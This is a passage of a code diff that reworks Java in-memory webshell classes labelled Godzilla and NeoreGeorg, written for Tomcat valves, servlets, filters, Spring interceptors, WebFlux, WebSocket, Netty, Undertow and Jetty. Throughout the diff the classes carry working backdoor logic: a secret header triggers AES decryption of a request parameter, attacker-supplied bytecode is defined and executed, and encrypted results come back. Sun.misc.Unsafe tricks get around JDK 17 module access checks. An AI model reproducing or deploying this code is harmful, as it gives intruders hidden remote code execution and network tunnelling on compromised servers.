getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
if (getAndSetObjectM != null) {
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
@@ -108,18 +130,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -127,12 +146,9 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -143,20 +159,4 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
|
||||
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
|
||||
}
|
||||
|
||||
static {
|
||||
// webflux3 jdk17 bypass module
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, GodzillaNettyHandler.class, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
-18
@@ -36,11 +36,12 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
@@ -51,8 +52,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
||||
}
|
||||
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -92,18 +93,15 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -111,12 +109,9 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+12
-19
@@ -40,13 +40,13 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
|
||||
if (cache == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
@@ -58,7 +58,7 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
@@ -73,18 +73,15 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -92,12 +89,9 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -109,7 +103,6 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
|
||||
+47
-50
@@ -20,8 +20,6 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
@@ -30,40 +28,65 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) {
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -83,6 +106,9 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
}
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
@@ -101,33 +127,4 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
+12
-18
@@ -49,25 +49,25 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data);
|
||||
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).Q(data);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(exchange.getRequest());
|
||||
result.append(md5.substring(0, 16));
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
@@ -77,18 +77,15 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -96,12 +93,9 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+30
-36
@@ -21,6 +21,27 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
private Session session;
|
||||
private static Class<?> payload;
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
try {
|
||||
byte[] data = base64Decode(message);
|
||||
data = x(data, false);
|
||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||
payload = reflectionDefineClass(data);
|
||||
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Throwable {
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
@@ -65,61 +86,34 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
try {
|
||||
byte[] data = base64Decode(message);
|
||||
data = x(data, false);
|
||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||
payload = reflectionDefineClass(data);
|
||||
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+9
-9
@@ -30,12 +30,6 @@ public class NeoreGeorg extends ClassLoader {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -67,11 +61,17 @@ public class NeoreGeorg extends ClassLoader {
|
||||
namespace.get(chars).equals(map);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
@@ -92,8 +92,7 @@ public class NeoreGeorg extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
@@ -110,6 +109,7 @@ public class NeoreGeorg extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
|
||||
+7
-7
@@ -34,12 +34,6 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
@@ -66,11 +60,17 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
||||
}
|
||||
namespace.get(chars).equals(args);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
+15
-15
@@ -32,23 +32,14 @@ public class NeoreGeorgFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
Object[] args = new Object[]{
|
||||
request,
|
||||
response,
|
||||
@@ -70,12 +61,21 @@ public class NeoreGeorgFilter extends ClassLoader implements Filter {
|
||||
namespace.put(chars, clazz.newInstance());
|
||||
}
|
||||
namespace.get(chars).equals(args);
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
|
||||
+7
-6
@@ -34,11 +34,6 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
@@ -67,11 +62,17 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
||||
namespace.get(chars).equals(args);
|
||||
return false;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
+9
-10
@@ -29,12 +29,6 @@ public class NeoreGeorgJettyHandler extends ClassLoader {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -60,9 +54,6 @@ public class NeoreGeorgJettyHandler extends ClassLoader {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
